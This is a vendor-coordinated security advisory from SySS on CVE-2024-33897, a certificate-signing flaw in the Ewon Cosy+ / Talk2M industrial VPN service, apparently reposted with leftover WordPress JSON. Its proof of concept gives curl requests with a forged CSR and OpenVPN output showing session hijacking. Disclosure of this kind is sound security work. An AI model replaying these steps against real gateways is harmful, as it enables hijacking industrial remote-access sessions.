—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA512<\/p>\n
Advisory ID: SYSS-2024-043
Product: Ewon Cosy+ \/ Talk2M Remote Access Solution
Manufacturer: HMS Industrial Networks AB
Affected Version(s): N.A.
Tested Version(s): N.A.
Vulnerability Type: Improper Authentication (CWE-287)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2024-04-17
Solution Date: 2024-04-18
Public Disclosure: 2024-08-11
CVE Reference: CVE-2024-33897
Author of Advisory: Moritz Abrell, SySS GmbH<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Overview:<\/p>\n
The Ewon Cosy+ is a VPN gateway used for remote access and maintenance
in industrial environments.<\/p>\n
The manufacturer describes the product as follows (see [1]):<\/p>\n
“The Ewon Cosy+ gateway establishes a secure VPN connection between
the machine (PLC, HMI, or other devices) and the remote engineer.
The connection happens through Talk2m, a highly secured industrial
cloud service. The Ewon Cosy+ makes industrial remote access easy
and secure like never before!”<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Vulnerability Details:<\/p>\n
During account assignment in the Talk2M platform, a Cosy+ device
generates and sends a certificate signing request (CSR) to the back end.
This CSR is then signed by the manufacturer and used for OpenVPN
authentication by the device afterward.<\/p>\n
Since the common name (CN) of the certificate is specified by the device
and used in order to assign the OpenVPN session to the corresponding
Talk2M account, an attacker with root access to a Cosy+ device is able
to manipulate the CSR and get correctly signed certificates for foreign
devices.<\/p>\n
Using these certificates for OpenVPN authentication results in hijacking
the VPN session and allows for further attacks, e.g.:<\/p>\n
– – Impacting the accessibility of the original device
– – Attacking the Talk2M-connected user device via the VPN connection
– – Eavesdropping and manipulating the network communication of connected
users<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Proof of Concept (PoC):<\/p>\n
Note: Since the X.509 client certificate of a Cosy+, which is used for
authentication against the Talk2M API, is handled by the hardware
security module (HSM), root access to a Cosy+ device is required.<\/p>\n
1. Exporting the OpenSSL engine to use the hardware security module:<\/p>\n
$ export OPENSSL_CONF=\/etc\/ssl\/se050_openssl.cnf
$ export EX_SSS_BOOT_SSS_PORT=\/dev\/i2c-0<\/p>\n
2. Sending a self-created CSR to the Talk2M API:<\/p>\n
$ curl –path-as-is -i -s -k -X $’POST’ \\
-H $’Host: eu.device.talk2m.com’ -H $’Accept: application\/json’ \\
-H $’Content-Type: application\/json’ -H $’Ewon-Serial: 2403-0999-25′ \\
-H $’Device-State: AccountLinked’ -H $’Content-Length: 768′ \\
–data-binary $'{\\x0a\\x09\\”csr\\”:
\\x09\\”—–BEGIN CERTIFICATE REQUEST—–\\\\nMIIB6zCCAUwCAQAwgaY
xCzAJBgNVBAYTAkJFMRcwFQYDVQQIEw5CcmFiYW50IFdh\\\\nbGxvbjERMA8GA1U
EBxMITml2ZWxsZXMxIzAhBgNVBAoTGkhNUyBJbmR1c3RyaWFs\\\\nIE5ldHdvcmt
zIFNBMRAwDgYDVQQLEwdFd29uIEJVMRYwFAYDVQQDEw1EMjMwNy0w\\\\nMTAxLTI
1MRwwGgYJKoZIhvcNAQkBFg1pbmZvQGV3b24uYml6MIGbMBAGByqGSM49\\\\nAgE
GBSuBBAAjA4GGAAQBaUGPo1FIjOOqyd1M47M2fcLQ2MN3aj7wI8pBYmopdSEY\\\\
nKszktBPre3AZ74E4326+vUej6nBG\/17SWNb+VZPEyXYBAvEyyvsXfy\/UlnB6NX
aj\\\\n6rrmy2pqP5bKN\/1yR3reqlA6+9rdYzcH3ESJvp9hTkZnV4qbdNjTtqSfZO
4zu1Zn\\\\nE+CgADAKBggqhkjOPQQDAgOBjAAwgYgCQgDVbJN5MJJZnkRRvNwwXu
6GrvILBN6H\\\\nxTwR3inwMxLf+a\/o+SFiqq5Pvsm2UXebVSD3osopdnJ8cxzTzi
PopsLiXAJCAa5K\\\\n+0T0H8VAvBzKTQkpiHHzW9JkDvIDaJA4WtYzA+KT7jo4kW
vQIr7rBBOlILoofQzv\\\\nypCqHaugjHhdeuJecIiq\\\\n—–END CERTIFICAT
E REQUEST—–\\\\n\\”\\x0a}’ \\
$’https:\/\/eu.device.talk2m.com\/certificates\/csr’ \\
–cert \/tmp\/birth_key_crt.pem –key \/tmp\/birth_key_ref.pem<\/p>\n
3. Requesting the signed certificate:<\/p>\n
$ curl -i -k -H $’Device-State: AccountLinked’ \\
https:\/\/device.talk2m.com\/certificates\/deviceCertificate \\
–cert birth_key_crt.pem –key birth_key_ref.pem<\/p>\n
4. Talk2M response:<\/p>\n
HTTP\/1.1 200
date: Tue, 16 Apr 2024 13:09:57 GMT
server: Apache
ewon-server-time: 1713272998
device-state: VpnProvisioned
content-type: application\/json
transfer-encoding: chunked<\/p>\n
{“certificate”:”—–BEGIN CERTIFICATE—–\\nMIIDTjCCAjagAwIBA[…]KsxyR8w==\\n—–END CERTIFICATE—–“}<\/p>\n
5. This signed certificate and the used key can be used for OpenVPN
authentication. The CN will be used to assign the session to the
corresponding Talk2M account. This also overwrites a potential
current VPN session of the original device:<\/p>\n
$ openvpn –config attacker.ovpn
Attempting to establish TCP connection with [AF_INET]51.195.79.69:443
TCP connection established with [AF_INET]51.195.79.69:443
TCPv4_CLIENT link remote: [AF_INET]51.195.79.69:443
VERIFY OK: depth=1, C=BE, ST=Brabant Wallon, L=Nivelles, O=eWON sa,
OU=Talk2M, CN=Talk2M Certification Authority,
emailAddress=itmanager@talk2m.com
VERIFY KU OK
Validating certificate extended key usage
++ Certificate has EKU (str) TLS Web Server Authentication,
expects TLS Web Server Authentication
VERIFY EKU OK
VERIFY OK: depth=0, C=BE, ST=Brabant Wallon, L=Nivelles,
O=HMS Industrial Networks SA, OU=Talk2M, CN=server-device,
emailAddress=info@ewon.biz
Control Channel: TLSv1.2, cipher TLSv1.2 ECDHE-RSA-AES256-GCM-SHA384,
peer certificate: 2048 bit RSA, signature: RSA-SHA1
[server-device] Peer Connection Initiated with [AF_INET]51.195.79.69:443
TUN\/TAP device tap0 opened
net_addr_ll_set: lladdr 00:03:27:d8:68:84 for tap0
TUN\/TAP link layer address set to 00:03:27:d8:68:84
net_iface_mtu_set: mtu 1500 for tap0
net_iface_up: set tap0 up
net_addr_v4_add: 10.37.211.214\/16 dev tap0
Data Channel: cipher ‘AES-256-GCM’, peer-id: 0, compression: ‘lzo’
Timers: ping 10, ping-exit 40
Initialization Sequence Completed<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Solution:<\/p>\n
The vulnerability was fixed in the back end by HMS on April 18, 2024.<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Disclosure Timeline:<\/p>\n
2024-04-09: Potential vulnerability discovered
2024-04-16: Call with the manufacturer and requested a Talk2M account
with an assigned device to verify the potential vulnerability
2024-04-16: Manufacturer provided a Talk2M account with an assigned device
2024-04-16: Vulnerability confirmed
2024-04-16: Short update about the state sent to the manufacturer
2024-04-16: Security advisory inculding technical details provided to
the manufacturer
2024-04-18: Vulnerability fixed by the manufacturer
2024-04-30: CVE ID CVE-2024-33897[5] assigned by the manufacturer
2024-07-12: Manufacturer asked for reviewing the blog post draft
2024-07-12: Confirmed reviewing the blog post is possible and asking for
the sending of details
2024-07-17: Blog post provided to HMS
2024-07-23: Inquiry about the status
2024-07-23: Manufacturer reviewed the blog post
2024-07-24: Manufacturer also asked for an appointment to discuss the blog post
2024-07-29: Discussion with HMS about the blog post and final publication
actions
2024-08-11: Vulnerability disclosed at DEF CON[7]2024-08-11: Blog post published[6]\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
References:<\/p>\n[1] Ewon Cosy+ product website
https:\/\/www.hms-networks.com\/p\/ec71330-00ma-ewon-cosy-ethernet
[2] SySS Security Advisory SYSS-2024-043
https:\/\/www.syss.de\/fileadmin\/dokumente\/Publikationen\/Advisories\/SYSS-2024-043.txt
[3] SySS Responsible Disclosure Policy
https:\/\/www.syss.de\/en\/responsible-disclosure-policy
[4] Manufacturer note
https:\/\/hmsnetworks.blob.core.windows.net\/nlw\/docs\/default-source\/products\/cybersecurity\/security-advisory\/hms-security-advisory-2024-07-29-001–ewon-several-cosy–vulnerabilities.pdf
[5] CVE-2024-33897
https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2024-33897
[6] Blog post
https:\/\/blog.syss.com\/posts\/hacking-a-secure-industrial-remote-access-gateway\/
[7] DEF CON talk
https:\/\/defcon.org\/html\/defcon-32\/dc-32-speakers.html#54521<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Credits:<\/p>\n
This security vulnerability was found by Moritz Abrell of SySS GmbH.<\/p>\n
E-Mail:moritz.abrell@syss.de
Public Key:https:\/\/www.syss.de\/fileadmin\/dokumente\/PGPKeys\/Moritz_Abrell.asc
Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Disclaimer:<\/p>\n
The information provided in this security advisory is provided “as is”
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.<\/p>\n
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<\/p>\n
Copyright:<\/p>\n
Creative Commons – Attribution (by) – Version 3.0
URL:http:\/\/creativecommons.org\/licenses\/by\/3.0\/deed.en
—–BEGIN PGP SIGNATURE—–<\/p>\n
iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmay47wACgkQrgyb+PE0
i1O5RQ\/9HM9YIPRLVqGSRNPYW45F9e1wj9uHTvt78XjRng5lbRPpgWAO1G6UVQvS
ebugxzjAtGrdMxx8X1NHd9vbshyAHj\/q33Y0fkQ5TB2hnSMkn2nbXTEZKIIS6wK0
XnJhB31iVnkgMeNFQ0SwSutBnnxJ7mvQ6vUBG210DSHjpQtu8rWuCyrf3BcSCJ\/I
nT79b7TJOxOMD1y5VAeVP6Pehh+IlJgvSItXZyOjs4wgt\/+z+wVoKnYdqSAHpovI
\/rjVbtp7cvIhQInghnDoRWfXce34bk07geOB4VGg7bhxGCeWbJZq\/Dxrag5jJb9l
0zx2K4M8ZTwFcrtAliFgyzrIgvjfOk9HCZasSMl20znj4+3QaAWpfn2oMmCQCaLg
6hBqAQ+s66Cv8Br24WKdlnj3nrsn+SAX2TKDxajt+WiDkXKvsLPs8XCmzVN8jViK
nN\/dJ3chba4yhqmpft1wRXG71VvBdbv3pkLp7usKszUrul8M802JzF2aGTUsiKgQ
QSxpNhSP4aC2jqjt1OpX7W6NKD1nIhg0VrduxlwlAcQ2uffbh8xtak1MgZry0\/yP
6j9a15DOTJshMeud8R3Bkfjms\/0Jzm43uyjIeRGNP79UyohsTX4jOJAsUYr0efUZ
\/55N3HiCD94jYoee5E3sF1vWlrhVDzkWJ7Q8u\/W4osSIwMNikTc=
=JS3w
—–END PGP SIGNATURE—–<\/p>\n","protected":false},"excerpt":{"rendered":"
—–BEGIN PGP SIGNED MESSAGE—–Hash: SHA512 Advisory ID: SYSS-2024-043Product: Ewon Cosy+ \/ Talk2M Remote Access SolutionManufacturer: HMS Industrial Networks ABAffected Version(s): N.A.Tested Version(s): N.A.Vulnerability Type: Improper Authentication (CWE-287)Risk Level: HighSolution Status: FixedManufacturer Notification: 2024-04-17Solution Date: 2024-04-18Public Disclosure: 2024-08-11CVE Reference: CVE-2024-33897Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The Ewon Cosy+ is a VPN gateway used …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58979","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58979","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58979"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58979\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58979"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58979"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58979"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}